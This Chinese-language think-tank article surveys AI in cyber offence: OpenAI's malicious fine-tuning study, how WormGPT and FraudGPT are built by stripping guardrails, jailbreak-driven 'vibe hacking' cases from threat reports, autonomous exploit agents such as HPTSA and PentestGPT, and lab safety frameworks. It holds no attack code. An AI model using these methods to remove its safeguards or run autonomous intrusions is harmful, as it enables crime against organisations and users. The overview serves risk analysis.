青藤智库

网络安全大模型的路线和方向

Tue, 11 Nov 2025 18:00:00 +0800

安全喷子 2025-11-11 18:00 北京

PART.1

背景

今年的世界人工智能大会（WAIC）上，诺贝尔奖获得者辛顿演讲的内容中，其中提到了网络安全的内容，包含了一个对大模型未来的预测，即各国将不会在防御人工智能的危险用途上进行合作。列举了三个具体的领域作为例子：

1. 网络攻击 (Cyber attacks)：利用人工智能发动的网络攻击。

2. 致命自主武器 (Lethal autonomous weapons)：通常被称为“杀手机器人”的武器系统。

3. 用于操纵公众意见的虚假视频 (Fake videos for manipulating public opinion)：即深度伪造（Deepfakes）技术在信息战和舆论战中的应用。

精准地概括了当前对AI滥用的主要担忧：

对数字基础设施的威胁（网络攻击）：AI可以使网络攻击自动化、规模化，并能更快地发现和利用漏洞，使得防御变得异常困难。
对物理安全的威胁（致命自主武器）：这引发了关于战争伦理、责任归属以及战争失控风险的激烈辩论。各国在此问题上立场分歧巨大，难以达成共识。
对社会和政治稳定的威胁（虚假视频/信息操纵）：深度伪造技术可能被用来破坏选举、煽动社会对立、削弱公众对事实和机构的信任，其破坏力不亚于传统武器。

近期的网络安全新闻揭示谷歌正在启动一个名为“网络颠覆部门”（cyber “disruption unit”）的新单位，此举正值美国政府和行业可能转向更具进攻性的网络安全策略的背景之下。谷歌威胁情报组（Google Threat Intelligence Group）副总裁桑德拉·乔伊斯（Sandra Joyce）表示，该部门旨在寻求“合法和道德的颠覆”选项。她强调，目标是“通过情报主导，主动识别机会，从而能够真正摧毁某种（恶意）活动或行动”，并从被动应对转向主动出击。

不同层次的网络攻击策略，它们之间的界限往往很模糊：

1. 主动防御 (Active Defense)：攻击性较弱的策略，例如设置“蜜罐”（honeypots）来引诱和欺骗攻击者。

2. 颠覆行动 (Disruption Operations)：介于两者之间，例子包括微软通过法庭诉讼摧毁僵尸网络基础设施，或美国司法部从黑客手中查获被盗的加密货币。谷歌的新部门似乎将专注于此类行动。

3. 黑客反击 (Hacking Back)：最具攻击性的策略，通常指试图故意摧毁攻击者的系统或网络。

前网络安全与基础设施安全局（CISA）高级官员布兰登·威尔斯（Brandon Wales）指出，联邦政府的进攻性网络行动本身就非常耗费时间和人力。他认为私营公司可以通过创新来加速和扩大这些行动的规模。

上面两个新闻揭示了一个方向，就是大模型用于网络安全攻击领域是必然的情况。这种情况会引向两个后果：

第一、网络攻击的平民化会更加普遍。

第二、高级网络攻击的行为会更加便利。

之前我们经常说的“脚本小子”，就是那些懂一些安全攻击技术的黑客的一种别称，但是至少还是懂一些基本技术。如果现在有用于网络攻击的大模型，让这个攻击技术要求会进一步下降。以前国家级别的安全对抗都存在与高级网络安全专家之间的对抗，现在有大模型了可能会让这个成本下降的很快，让APT类的攻击更加便利的执行。

大模型赋能网络安全，在行业里面目前都是在防御方面。但是笔者认为类比大模型是人的话，还是那句老话“未知攻，焉知防？”。如果大模型对于攻击的技术不太理解的前提下，对于安全防御的能力肯定是比较有限的。现在的公众使用的商业闭源大模型都经过了充分的对齐针对各个方面的防御，很难让大模型进行网络攻击的输出，除非进行“越狱攻击”才能让其对网络攻击方面的内容输出。使用大模型进行攻击方面的应用是有门槛的，但是现在开源大模型的普遍使用，让大模型进行网络攻击是有了更好的基座，可以使用SFT技术，RL技术，模型编辑（model editing）技术，可以利用这些开源大模型构造出一个更偏向于网络攻击的大模型。

PART.2

恶意微调（MFT）是什么？

OpenAI最近开源了两个大模型：gpt-oss-20b和gpt-oss-120b。针对这两个开源大模型的安全问题，OpenAI的研究人员撰写了一篇学术论文，标题为《Estimating Worst-Case Frontier Risks of Open-Weight LLMs》，聚焦于评估开源权重大型语言模型（LLM）gpt-oss的潜在最坏情况前沿风险。论文探讨了通过恶意微调（Malicious Fine-Tuning, MFT）来最大化模型在生物风险（biorisk）和网络安全风险（cyberrisk）领域的能力，从而估计释放该模型可能带来的危害。恶意微调（MFT）其实是一种SFT技术，只是主要针对于恶意使用方面的能力提升。

开源LLM释放一直是安全争议话题，因为模型可能被滥用。现有评估（如模型拒绝不安全提示的倾向）仅针对释放版本，而忽略了攻击者通过微调绕过安全的可能性。通过直接微调gpt-oss来估计最坏情况危害，聚焦于OpenAI准备度框架（Preparedness Framework）的三个前沿风险类别：生物、网络安全和自我改进（self-improvement）。论文忽略自我改进，因为它远低于高能力水平，且微调不太可能显著提升。

恶意微调（MFT）的类型包括：

禁用拒绝（disabling refusals）：使用RL奖励合规响应，这样就不用考虑越狱的情况。
领域特定能力最大化：特定领域数据策展、工具访问（如浏览、终端）和推理技术（如共识、best-of-k）。

为了最大化网络安全攻击能力，评估基准采用了CTF挑战（高中、大学、专业级别）和网络靶场环境（易、中等）。

图示的主要结果包括

MFT略微提升专业CTF（从20%到27.7%），但所有变体低于OpenAI o3。
网络靶场环境：所有模型0%准确率，除非有提示。
失败原因：一般代理能力问题（如时间管理、工具使用），而非网络特定。
额外方法：SFT、best-of-k采样无显著提升；pass@k估计需367次试验达75%专业CTF准确率。

总结下来：MFT提升性能（尤其生物），但低于o3水平。gpt-oss释放贡献少量新生物能力，但不显著推进前沿；网络安全远低于高水平。

开源模型的特殊性：与闭源模型不同，开源模型（如gpt-oss）一旦释放，任何人都可以下载、微调和滥用，而无法通过服务器端更新来缓解风险。因此，论文将边际风险置于更高权重：如果gpt-oss的能力仅轻微超过现有开源模型（如在生物基准上略优于DeepSeek R1-0528，但不推进前沿），则释放的风险是“最小化的”。
与绝对风险的对比：绝对风险评估模型的总危害潜力（如是否达到准备度框架的“高风险”阈值：显著增加严重危害向量）。边际风险则更关注“增量”——例如，即使gpt-oss在某些基准上表现优秀，如果现有模型已接近其水平，则边际风险小。
评估方法：通过恶意微调（MFT）模拟最坏情况，并与基线模型比较，来量化边际风险。论文发现，gpt-oss的MFT版本在生物领域贡献少量净新能力，但在网络安全领域无显著提升，因此总体边际风险小。

局限性和未来工作

能力激发不足：训练集规模小、多样性低；简单脚手架；可能需额外预训练。
风险估计噪声：评估选择变异；脚手架差异；随机噪声；超出评估的因素（如易微调性）。
总体：边际风险小，但结果噪声大。警告避免开源释放逐步推进前沿到高/关键水平。

这样的结论看起来并没有多大的危险，看起来网络安全攻击能力并没有很大的提升。

PART.3

为什么恶意微调（MFT）的大模型效果不如恶意的GPT？

3.1 为什么OpenAI的恶意微调（MFT）效果不显著？

OpenAI在其研究中尝试回答一个问题：“如果一个有充足资源的恶意行为者，尽最大努力去微调一个强大的基础模型，能否创造出具有危险性突破的AI？” 他们的结论是“目前还不行”，原因如下：

1. 任务难度触及了“知识的边界”

网络安全：他们评估的任务不是简单的编写已知病毒，而是发现未知的、零日（0-day）级别的漏洞。这需要极强的逻辑推理、创造性思维和对复杂系统的深刻理解。这本质上是在要求AI进行科学发现。

2. 微调的本质是“模式模仿”，而非“从零创造”

大型语言模型（LLM）的核心能力是学习和重组其训练数据中存在的模式。微调可以强化模型对特定模式的关注和模仿能力。
然而，如果一个全新的、创造性的解决方案（如一个全新的攻击方法）从未在任何人类知识库（即训练数据）中以清晰的、可学习的方式存在过，那么模型就很难凭空“想”出来。它可能会组合出一些看似新颖的东西，但这些东西往往是无效或无意义的。

3. 基础模型的“常识”限制

像GPT-4这样的基础模型，其内部已经包含了对世界物理、化学和代码逻辑的深刻理解。这种理解是泛化的。恶意的微调数据可能会试图扭曲它的行为，但很难从根本上推翻它已经学到的基础科学原理。因此，当被要求生成一个违反基本科学规律的“超级病毒”时，它很可能会失败。

恶意微调（MFT）高度依赖基座模型能力。微调更像是"雕刻"而非"创造"——你只能雕刻出石头里已有的形状。

对于网络安全这样的复杂领域：

1. 基座决定上限：小模型微调难以达到大模型水平

2. 数据提升有限：即使有完美数据，也受基座约束

3. 架构创新是关键：需要超越纯微调的方法

这也解释了为什么OpenAI的研究发现即使是恶意微调的GPT-4级别模型，在复杂网络安全任务上仍然表现不佳。基座模型的通用代理能力不足是根本瓶颈，这不是简单通过微调可以解决的。因此，方法和数据虽然重要，但不能完全弥补基座能力的不足。真正强大的网络安全AI可能需要：专门设计的架构；从预训练阶段就考虑安全能力；深度集成外部工具；人类专家的持续指导。

3.2 WormGPT / FraudGPT 这类恶意模型是如何“成功”的？

这些在恶意上售卖的GPT模型，其目标和应用场景与OpenAI的实验完全不同。它们追求的不是创造新威胁，而是将现有的、成熟的犯罪手段自动化、规模化、并降低使用门槛。它们是如何做到的？

1. 目标明确且务实：降低作恶门槛

（1）它们的目标用户不是国家级黑客，而是普通的网络罪犯或“脚本小子”（指缺乏高深技术、依赖现成工具的攻击者）。

（2）它们解决的核心痛点是：如何让一个不懂编程、文笔不好的人，也能写出极具欺骗性的钓鱼邮件、生成可用的恶意软件脚本、或进行大规模的商业邮件诈骗（BEC）。

2. 精准的微调数据与方法

（1）基础模型：他们通常会选择一个强大的开源模型（如 Llama, Mistral 等的某个版本），特别是那些“未经审查”或安全限制较少的版本作为起点。这为恶意微调提供了“肥沃的土壤”。

（2）核心资产是恶意数据集：这些恶意模型真正的“秘方”是其用于微调的数据集。这些数据是精心收集和整理的：

海量的钓鱼邮件范本：各种语气、各种场景、各种语言。
恶意软件源代码：特别是那些易于修改、实现“多态”（polymorphic，指能自动变换代码以躲避杀毒软件）的脚本。
暗网论坛的黑客对话：学习黑客的术语、交流方式和思维模式。
诈骗教程和脚本：用于进行各种网络和电信诈骗。

（3）通过在这些高度垂直的恶意数据上进行微调，模型成为了该特定领域的“专家”。它不需要创造新知识，只需要模仿、组合、并生成与训练数据风格高度一致的内容。

3. 移除安全护栏

（1）与OpenAI、Google等公司发布的模型不同，这些恶意模型的一个关键“卖点”就是没有道德或安全限制。用户可以直截了当地要求它“写一封冒充CEO的邮件，要求财务转账”，而模型会毫无保留地执行。

以下列表列举了相关恶意的GPT的相关特点以及恶意微调的基座大模型。

OpenAI的实验告诉我们，AI目前还不是一个能独立思考出全新大规模毁灭性武器的“天网（Skynet）”。而WormGPT的存在则警告我们，AI已经可以成为赋能成千上万个低级犯罪分子的“万能工具包”，极大地增加了网络犯罪的频率、规模和成功率。这两种风险都真实存在，但它们处于完全不同的层面。

PART.4

Vibe Hacking已经到来

除了使用这些恶意的GPT进行攻击行为之外，其实直接使用商业的大模型也能做到一些攻击行为，主要采用的手段就是“越狱“攻击。最近Vibe coding（氛围编程）这个词比较火，生成代码的大模型也是agent的最重要的一个场景。Vibe Hacking（氛围攻击）其实也是类似的逻辑，利用大模型进行黑客攻击行为。

4.1 Anthropic的威胁报告

Anthropic 公司于2025年8月发布的威胁情报报告指出了几个令人担忧的趋势，这些趋势凸显了恶意行为者如何利用先进 AI 的能力：

1. “代理式 AI” (Agentic AI) 已被武器化：AI 模型不再仅仅是为网络攻击提供建议，而是被直接用于执行复杂的网络攻击任务。攻击者通过一种被称为“氛围攻击” (vibe hacking) 的技术，引导 AI 执行恶意操作的整个流程。

2. AI 降低了复杂网络犯罪的门槛：几乎没有技术技能的犯罪分子现在也能够利用 AI 来执行以前需要多年专业训练的复杂操作，例如开发勒索软件。

3. 网络犯罪分子已将 AI 融入其运作的各个阶段：从分析被盗数据、识别和分析受害者，到创建虚假身份，AI 被用于扩大欺诈活动的影响范围。

具体的滥用案例研究

1. 大规模数据勒索行动：报告揭示了一起复杂的网络犯罪活动，犯罪者利用 Claude Code（Claude 的代码生成功能）对至少17个组织（包括医疗、紧急服务和政府机构）进行大规模数据盗窃和勒索。犯罪者并非使用传统勒索软件加密数据，而是窃取敏感数据后，威胁要公开这些数据，以此勒索高达50万美元的赎金。在此案例中，Claude 几乎是“亲自上阵” (on-keyboard) 执行操作，而操作员仅进行温和的引导。

2. IT 工作者的远程就业欺诈：报告发现，某国的IT人员利用 Claude 制作虚假的专业背景和身份，成功申请并获得了美国财富500强科技公司的远程工作职位。他们使用 AI 模型来完成技术和编码评估，甚至在入职后交付实际的技术工作。

3. “无代码”勒索软件即服务：一名仅具备基本编码技能的网络犯罪分子，利用 Claude 开发并销售勒索软件。AI 帮助其编写恶意代码，并加入加密、反调试等逃避检测的功能，显著降低了制造恶意软件的技术壁垒。

4. 国家支持的黑客行动：报告还提到，一个复杂的黑客组织在长达9个月的行动中，系统性地利用 Claude 来加强针对越南关键基础设施的网络攻击。

面对这些严峻的威胁，Anthropic 采取了多方面的措施来检测和反击滥用行为：

封禁账户与加强检测：一旦发现恶意活动，Anthropic 会立即封禁相关账户。同时，开发了定制化的分类器（一种自动筛选工具）和新的检测方法，以求在未来能更快地发现类似活动。
情报共享与合作：Anthropic 将有关攻击的技术指标与相关执法部门和安全合作伙伴共享，以防止类似的滥用行为在其他地方发生。这种跨行业的合作被认为是有效对抗 AI 驱动威胁的关键。
发布威胁情报报告：通过公开发布这些案例研究，Anthropic 旨在提高整个行业对 AI 滥用风险的认识，并推动其他公司加强安全措施。
成立咨询委员会：为了指导 AI 在网络安全、国家安全等高风险领域的部署，Anthropic 成立了一个国家安全与公共部门咨询委员会，由政策、国防和政府领域的专家组成。
负责任的扩展政策 (Responsible Scaling Policy)：这些应对措施是 Anthropic 更广泛的安全框架的一部分。该政策旨在根据 AI 模型的能力水平（ASL）来匹配相应的安全和安保标准，以管理潜在的灾难性风险。

4.2 OpenAI 威胁报告

OpenAI在2025年6月发布的一份关于AI恶意使用的威胁情报报告，检测并曝光了几起滥用ChatGPT的恶意活动。

1. 欺诈性IT工作计划威胁行为者利用ChatGPT自动化生成虚假简历和美国身份，大规模申请远程IT和软件工程职位。他们研究使用VPN、远程控制工具等技术手段，试图让在美国的合作者接收公司电脑后远程操作，从而绕过企业安全措施和身份验证。

2. "High Five"行动（菲律宾）菲律宾营销公司Comm&Sense Inc运营的政治影响行动，批量生成支持总统马科斯、批评副总统杜特尔特的简短评论。他们创建了5个TikTok频道发布相同视频，然后用大量机器人账号评论制造热度假象，同时在Facebook主流媒体新闻下方进行评论轰炸。

3. "ScopeCreep"恶意软件（俄语使用者）俄语威胁行为者利用ChatGPT开发多阶段Go语言恶意软件，伪装成流行的游戏准星工具Crosshair-X。该恶意软件具备提权、持久化、凭证窃取、远程控制等功能，通过Telegram向攻击者发送新受害者通知，并使用SOCKS5代理混淆流量来源。

4. STORM-2035复发行动（伊朗）伊朗关联的威胁行为者（2024年8月首次被发现）卷土重来，用波斯语提示生成西班牙语和英语推文，支持拉丁裔权利、苏格兰独立、爱尔兰统一、巴勒斯坦权利，并宣扬伊朗军事力量迫使美国谈判。虚假账号使用从Pinterest盗用的年轻女性照片作为头像，但参与度极低。

5. "Wrong Number"任务诈骗（柬埔寨）源自柬埔寨的大规模跨国诈骗团伙使用ChatGPT将诈骗话术翻译成英语、西班牙语、斯瓦希里语、德语等多种语言，承诺受害者点赞TikTok视频就能获得5美元报酬。诈骗分三步：冷接触（ping）、建立信任（zing）、骗取钱财（sting），最终要求受害者支付数百美元"入职费"或"手续费"。

4.3 利用大模型进行1-day漏洞利用

《LLM Agents can Autonomously Exploit One-day Vulnerabilities》这篇论文首次通过实验证明，当前最顶尖的大模型代理已经具备了自主利用真实世界系统中已知漏洞的能力，将AI用于网络攻击的威胁从理论推向了现实。

关键实验结果与发现 (Key Findings)

发现一：GPT-4展现出“涌现能力”，与其他模型拉开代差

实验结果非常惊人。在拥有CVE描述的情况下：

GPT-4：成功利用了15个漏洞中的13个，成功率高达87%。
所有其他对手：包括GPT-3.5、LLaMA-2、Mixtral等所有开源模型，以及ZAP和Metasploit这两个专业的自动化扫描工具，成功率为0%。

这表明GPT-4在理解复杂文本（CVE报告）、制定多步攻击计划、以及灵活运用多种工具方面，已经达到了一个远超其他模型的临界点。

发现二：漏洞“发现”比“利用”困难得多

当移除CVE描述，让GPT-4在“一无所知”的情况下去攻击时，其成功率暴跌至7%。

有趣的是，进一步分析发现，GPT-4代理能够正确识别出33.3%的漏洞类型，但即便识别出来，若没有详细描述指导，也很难成功利用。
这说明，对于这个简单的ReAct代理来说，最大的瓶颈在于探索和发现。它容易在尝试一种攻击路径失败后“卡住”，而不知道回溯并尝试其他类型的攻击。

发现三：AI代理已具备成本优势且可规模化

成本：研究人员估算，利用GPT-4成功完成一次漏洞利用的平均成本约为$8.80。
对比：他们估计，一个人类网络安全专家完成同样任务的成本约为$25。
结论：使用AI代理不仅已经比人类专家更便宜，而且可以轻易地大规模并行化，这是人类劳动力无法比拟的。

发现四：代理展现了复杂的多工具协调能力

论文通过案例分析指出，GPT-4代理的成功并非简单的脚本执行。例如：

ACIDRain漏洞：这是一个复杂的并发攻击，代理需要依次完成：1) 浏览网站；2) 在结账页面下测试订单；3) 编写Python代码来利用竞争条件；4) 在终端中执行该代码。这展示了其跨工具（浏览器、代码编辑器、终端）的复杂工作流执行能力。
非Web漏洞：代理不仅能攻击网站，还能成功利用Python包（Astrophy RCE）和容器软件（runc）的漏洞，证明了其能力的通用性。

为了证明能力来源于大模型本身，而非复杂的工程技巧，他们设计的AI代理非常简单，核心代码只有91行。这个代理由四个部分组成：

基础大模型 (Base LLM)：测试了GPT-4、GPT-3.5以及8个主流开源模型。
提示词 (Prompt)：一个精心设计的长提示词（1056个token），鼓励代理要有创造性、不要轻易放弃，并尝试不同方法。
代理框架 (Agent Framework)：使用了经典的 ReAct 框架（Reason + Act，思考并行动），让模型可以进行迭代式的推理和操作。
工具集 (Tools)：赋予代理一套基本的渗透测试工具，包括：

网页浏览（点击、获取HTML等）
终端（执行shell命令）
网页搜索
文件操作（创建、编辑）
代码解释器

4.4 利用大模型进行0-day挖掘

《Teams of LLM Agents can Exploit Zero-Day Vulnerabilities》这篇论文解决一个问题：AI代理能否在事先不知道漏洞细节（即“零日漏洞”）的情况下，自主发现并利用真实世界的安全漏洞？论文的结论是肯定的，并为此设计了一个名为 HPTSA (Hierarchical Planning and Task-Specific Agents) 的多代理协作架构。这个论文设计了一个Agent架构来进行漏洞的挖掘，实际来说是完成了一个Context Engneering的一个实例。

1. 架构目标：解决单一代理的局限性

传统的单一AI代理（如基于ReAct框架的代理）在执行复杂的黑客任务时存在明显缺陷：

长程规划能力差：由于上下文长度限制和任务的复杂性，单一代理很难制定和执行一个需要多个步骤的长期攻击计划。
难以回溯和尝试：如果代理在尝试一种攻击路径（如SQL注入）时失败，它很难有效地“回溯”并切换到另一种完全不同的攻击路径（如跨站脚本攻击XSS）。它容易“卡壳”或陷入死循环。

HPTSA架构通过“分而治之”的思想，模仿人类专家团队的协作方式来克服这些问题。HPTSA架构由三个核心组件构成，形成一个等级分明的指挥链。如下图所示，信息和指令自上而下流动，而结果和观察则自下而上反馈。

三大核心组件详解

A. 分层规划代理 (Hierarchical Planner)

角色：“将军”或“战略家”。
任务：

探索环境：对目标系统（如一个网站）进行初步的、高层次的探索和侦察。
制定宏观计划：识别出潜在的攻击面（如登录页面、用户输入框、管理后台等），并确定应该尝试哪些类型的漏洞。
生成指令：它不执行具体的攻击，而是生成一系列高层次的指令，告诉“团队管理器”应该在哪些地方重点关注什么。例如，它可能会说：“重点检查/login.php页面的SQL注入可能性，并探索/admin目录下的所有功能。”

解决的问题：通过将宏观规划与具体执行分离，解决了单一代理的长程规划难题。

B. 团队管理器 (Team Manager Agent)

角色：“现场指挥官”或“调度员”。
任务：

接收和解析指令：接收来自“规划代理”的宏观计划。
选择和调度专家：根据指令，决定调用哪个“任务特定的专家代理”来执行任务。例如，如果指令是检查SQL注入，它就会启动“SQLi专家代理”。
管理执行流程：它会收集专家代理的执行结果。如果一个专家代理失败了，它可以根据情况决定重新运行该代理（可能提供更多信息），或者调用另一个不同类型的专家代理来尝试其他攻击路径。

解决的问题：负责战术层面的决策和“回溯”。这使得整个系统能够灵活地在不同的攻击方法之间切换，避免了单一代理“卡壳”的问题。

C. 任务特定的专家代理 (Task-Specific, Expert Agents)

角色：“特种兵”或“领域专家”。
设计：每个专家代理都被设计为精通某一特定类型的漏洞利用。论文中构建了6种专家代理，包括：

XSS (跨站脚本) 专家
SQLi (SQL注入) 专家
CSRF (跨站请求伪造) 专家
SSTI (服务器端模板注入) 专家
ZAP 代理 (使用开源扫描工具ZAP)
通用Web黑客代理

专家能力来源：

专用工具 (Tools)：专家代理被授予使用特定工具的权限。例如，SQLi专家代理可以使用自动化SQL注入工具 sqlmap。
专业知识库 (Documents)：通过检索增强生成（RAG）技术，为每个专家代理提供了5-6份关于其特定漏洞领域的高质量文档（如技术博客、攻击指南）。这相当于给了它一个专业知识库。
定制化提示 (Prompts)：每个专家代理的系统提示都经过专门设计，以引导它专注于其专业领域。

解决的问题：通过专业化，极大地提高了在特定任务上的成功率。通用代理什么都懂一点，但什么都不精通；而专家代理在其领域内表现出色。

4.5 利用大模型进行渗透测试

《PentestGPT: Evaluating and Harnessing Large Language Models for Automated Penetration Testing》这篇论文主要设计了一个AI agent进行自动化渗透测试。PentestGPT的设计灵感来源于真实世界的人类渗透测试团队：有负责宏观规划的团队主管（高级测试员），也有负责执行具体任务的团队成员（初级测试员）。PentestGPT通过三个模块来模拟这种协作：

1. 推理模块 (Reasoning Module)

角色：团队主管，负责从宏观视角把控整个测试流程。
核心创新：渗透测试任务树 (Pentesting Task Tree, PTT)：

为了解决上下文丢失问题，该模块维护一个树状结构来记录整个测试的状态、进展和待办事项。
这个PTT可以被转换成自然语言（类似一个带层级的任务列表），让LLM能够理解和更新。

工作流程：

接收用户的测试结果。
更新PTT，将新发现添加到任务树的叶子节点上。
识别下一步任务：分析整个PTT，找出所有可行的下一步操作。
决策：评估所有可行任务的优先级，选择最有可能成功的一个，并将其传递给“生成模块”。

解决的问题：通过PTT，该模块拥有了全局视野和长期记忆，解决了上下文丢失和注意力偏差的核心痛点。

2. 生成模块 (Generation Module)

角色：初级测试员，负责将一个宏观任务转化为具体的、可执行的操作。
工作流程：

接收来自“推理模块”的一个具体子任务（例如，“扫描Web服务”）。
任务扩展：首先将这个简单的任务分解成更详细的步骤（例如，“1. 使用nikto进行扫描；2. 使用dirbuster进行目录爆破”）。
操作生成：将每个详细步骤转化为精确的终端命令或GUI操作描述。

解决的问题：通过“任务扩展 -> 操作生成”的两步过程，利用了思维链（CoT）的思想，提高了生成命令的准确性，有效缓解了“幻觉”问题。

3. 解析模块 (Parsing Module)

角色：信息助理，负责处理和提炼测试过程中遇到的各种文本信息。
任务：

将冗长的工具输出、网页源代码等信息进行压缩和摘要，提取关键内容。
这不仅节省了token成本，也帮助推理模块更高效地更新PTT。

总结：PentestGPT通过模块化的设计，将复杂的渗透测试任务分解为“思考（Reasoning）”和“行动（Generation）”两个独立的LLM会话。负责思考的模块始终掌握全局，而负责行动的模块则专注于细节，二者通过PTT进行协同，从而实现了高效、系统的自动化测试。

PART.5

大模型风险的框架

考虑到大模型的安全攻击能力，需要考虑可能带来的负面的可能性，所以国外的各大公司都对大模型可能带来的安全问题都做了很多的工作，以下是主流大模型公司的风险管理框架。

5.1 OpenAI Preparedness Framework

OpenAI做这种实验的目的是为了防范大模型可能产生的风险，"Preparedness Framework" (准备框架或防范框架)是由OpenAI率先提出并承诺实施的一套结构化的风险管理体系，旨在主动识别、评估和应对前沿AI模型可能带来的灾难性风险（Catastrophic Risks）。

“准备框架”的四大核心组成部分，这个框架由四个紧密相连的部分构成，形成一个完整的“发现-评估-决策-行动”闭环。

1. 风险追踪与定义 (Risk Tracking & Definition)

（1）内容：首先，框架明确定义了需要追踪的四类灾难性风险。

网络安全 (Cybersecurity)：AI是否能被用于策划和执行大规模、高复杂度的网络攻击，从而破坏关键基础设施？
化学、生物、放射性及核（CBRN）威胁：AI是否能显著降低获取和制造生化武器、核武器的门槛，例如帮助非专业人士设计病原体或爆炸装置？
模型自主性 (Model Autonomy / Self-Replication)：AI是否能发展出在野外自主适应、复制和获取资源的能力，从而摆脱人类的控制？

（2）目标：为每种风险设定了从“中”到“高”再到“严重（Critical）”的风险评分阈值。这就像台风预警信号，明确了危险的等级。

2. 评估 (Evaluations / Evals)

（1）内容：这是框架的核心引擎。开发一套专门的、标准化的测试方法（即“评估”），来衡量一个新模型在上述四个风险维度上的具体能力。

（2）方法：这些评估不仅仅是做题，而是模拟真实世界的场景。例如：

网络安全评估：让模型扮演攻击者，尝试寻找并利用真实软件中的未知漏洞（红队测试）。
生物安全评估：测试模型是否能为生物学知识有限的用户提供制造危险病原体的关键信息。
自主性评估：在一个安全的“沙箱”环境中，测试模型是否能自主调用工具、复制自身并隐藏其踪迹。

（3）目标：得出一个关于模型危险能力的客观分数，然后与第一步中定义的风险阈值进行比较。

3. 治理与决策 (Governance & Decision-Making)

（1）内容：这是框架的“大脑”和“刹车”。

成立一个跨职能的“准备团队”（Preparedness Team），独立于模型开发团队。
更重要的是，成立一个由董事会成员、公司内外部专家组成的安全顾问小组（Safety Advisory Group）。

（2）流程：当评估结果显示某个模型的风险分数超过了预设的阈值（例如，达到了“高风险”），准备团队必须将此情况上报给安全顾问小组和领导层。这个小组拥有最终的决策权。

（3）目标：确保安全决策独立于产品发布和商业利益的压力，实现权力的制衡。

4. 行动 (Actions)

（1）内容：一旦决策机构认定风险过高，框架会触发一系列预先规定好的行动。

（2）具体措施：

如果风险超过“高”阈值，OpenAI承诺将不会将该模型部署或发布给公众，直到有效的安全措施被开发出来。
如果风险达到“严重（Critical）”级别，开发工作可能会被暂停，甚至在极端情况下，已经训练好的模型权重也可能需要被销毁。
同时，将发现的风险向政府等外部机构进行通报。

（3）目标：确保风险评估的结果能切实转化为具体的安全行动，而不是一纸空文。

5.2 Anthropic Responsible Scaling Policy

Anthropic是与OpenAI在安全理念上最为接近、甚至在某些方面更为激进的公司。他们提出的框架是行业内另一个“黄金标准”。

1. 框架名称：Responsible Scaling Policy (RSP) - 负责任的扩展政策

2. 核心内容：RSP的核心思想是，随着AI模型能力的不断“扩展”（Scaling），其安全措施和证据标准也必须相应地、成比例地提升。这个政策甚至比OpenAI的框架更早被详细阐述。

3. 关键特征：

（1）AI安全等级 (AI Safety Levels, ASL)：这是RSP的核心。Anthropic定义了从ASL-1到ASL-5的等级。例如，ASL-2对应于模型能造成小规模滥用，而ASL-4则可能涉及灾难性风险，如协助制造生物武器。

（2）“暂停”承诺：RSP明确规定，如果一个模型的评估结果显示其能力达到了某个ASL等级，但在相应的安全措施上尚未达标，Anthropic将暂停进一步扩展或部署该级别的模型。这是一个非常强力的“刹车”承诺。

（3）与Preparedness Framework的对比：

共同点：两者都基于“评估-决策-行动”的闭环，都关注灾难性风险，并且都包含在风险过高时暂停或停止开发的承诺。

不同点：Anthropic的RSP在公开文档中对风险等级（ASL）的定义和升级路径描述得更为具体和程序化，发布时间也更早。

5.3 DeepMind Frontier Safety Framework

Google DeepMind作为顶尖的AI研究机构，同样拥有非常成熟的内部风险管理流程，并在多次公开声明中承诺了类似的安全实践。

1. 框架名称：虽然没有像OpenAI或Anthropic那样给出一个朗朗上口的名字，但他们将其描述为“Frontier Safety Framework”（前沿安全框架）。

2. 核心内容：Google的方法整合了其长期的AI原则和在安全研究方面的深厚积累。

3. 关键特征：

（1）结构化评估 (Structured Evaluations)：对前沿模型（如Gemini系列）进行全面的内部和外部红队测试，覆盖偏见、错误信息、网络安全和CBRN等关键风险领域。

（2）内部治理：拥有一个独立的“审查委员会”（Review Council），由来自公司不同部门的专家组成，负责审查模型的安全评估结果并做出部署决策。这与OpenAI的安全顾问小组功能类似。

（3）安全分类系统：Google内部对AI应用有一套敏感度分类系统，高风险的应用需要通过更严格的安全和伦理审查。

（4）与Preparedness Framework的对比：

共同点：拥有核心的评估流程、独立的内部治理机构和基于风险的部署决策机制。
不同点：Google的公开信息更侧重于其AI原则和广泛的安全实践，而没有像OpenAI或Anthropic那样，以一个独立的、命名的“框架”形式，详细公布其针对灾难性风险的具体评分阈值和行动方案。

5.4 Meta Responsible Use Guide

Meta（Facebook AI）在AI安全上的做法和理念与OpenAI、Anthropic存在显著差异，这主要源于其对开源的坚持。

1. 核心理念：Meta认为，将模型开源是实现安全的最佳路径之一。通过让全球数百万的开发者审查、测试和改进模型（类似开源软件的“众人拾柴火焰高”），可以更快地发现和修复漏洞，而不是依赖少数公司进行内部的“闭门”评估。

2. 安全实践：

（1）发布时的安全措施：在发布Llama等模型时，Meta会进行大量的安全微调，并提供详尽的《负责任使用指南》（Responsible Use Guide）。

（2）辅助安全工具：他们还开发并开源了如 Llama Guard 和 Code Shield 这样的工具，帮助开发者在自己的应用中建立安全护栏。

（3）对灾难性风险的态度：虽然Meta也签署了白宫和布莱切利公园的AI安全承诺，意味着他们同样会进行内部的风险评估，但他们的公开论述很少强调因潜在的灾难性风险而“暂停开发”这一概念。他们更倾向于相信，当前的模型能力距离真正的灾难性风险还有距离，且开源的透明度是最好的防御。

埃隆·马斯克（Elon Musk）长期以来一直公开表示，需要对大型人工智能模型（大模型）进行严格的限制和监管。他认为人工智能是人类文明面临的最大生存风险之一。但是埃隆·马斯克一方面是AI安全最积极的倡导者之一，强烈呼吁通过严格的法律和监管来限制大模型的发展，以防止其对人类构成生存威胁。另一方面，他自己的AI公司在实践中也因其宽松的限制和被指不足的安全措施而面临批评，这反映了他在推动AI安全与促进自身产品竞争力之间的复杂立场。

总而言之，Anthropic是与OpenAI最直接的同行者，而Google DeepMind拥有功能上类似但细节不尽公开的体系。Meta则代表了另一条重要的、基于开源的道路。这个领域正在快速发展，各公司的具体政策和透明度也在不断演变。

PART.6

未来安全大模型的路线

本文探讨了网络安全大模型的两面性——从赋能低门槛犯罪的“万能工具包”WormGPT，到展现出自主利用1-day甚至挖掘0-day漏洞潜力的前沿研究——之后，一个核心问题摆在了我们面前：未来，我们应该选择、发展和依赖什么样的安全大模型？

